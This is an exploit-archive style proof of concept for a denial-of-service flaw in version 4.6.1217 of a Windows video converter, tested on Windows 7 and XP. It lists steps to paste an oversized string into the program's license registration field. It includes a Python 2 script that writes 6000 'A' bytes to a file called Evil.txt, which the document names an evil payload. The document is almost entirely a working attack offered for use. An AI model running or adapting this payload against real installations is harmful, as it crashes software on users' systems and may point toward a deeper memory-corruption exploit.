# Exploit Title: WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Denial of Service # Date: 2019-10-30 # Vendor Homepage:https://www.alloksoft.com/ # Software Link: https://www.alloksoft.com/wmv.htm # Exploit Author: Nithoshitha S # Tested Version: v4.6.1217 # Tested on: Windows 7 x64 # Windows XP SP3 # 1.- Run python code :poc.py # 2.- Open EVIL.txt and copy content to clipboard # 3.- Open WMV to AVI MPEG DVD WMV Convertor and Click 'EnterKey' # 4.- Paste the content of EVIL.txt into the Field: 'License Name and License Code' # 5.- Click 'OK' and you will see a crash. # poc.py #!/usr/bin/env python buffer = "\x41" * 6000 try: f=open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except: print "File cannot be created"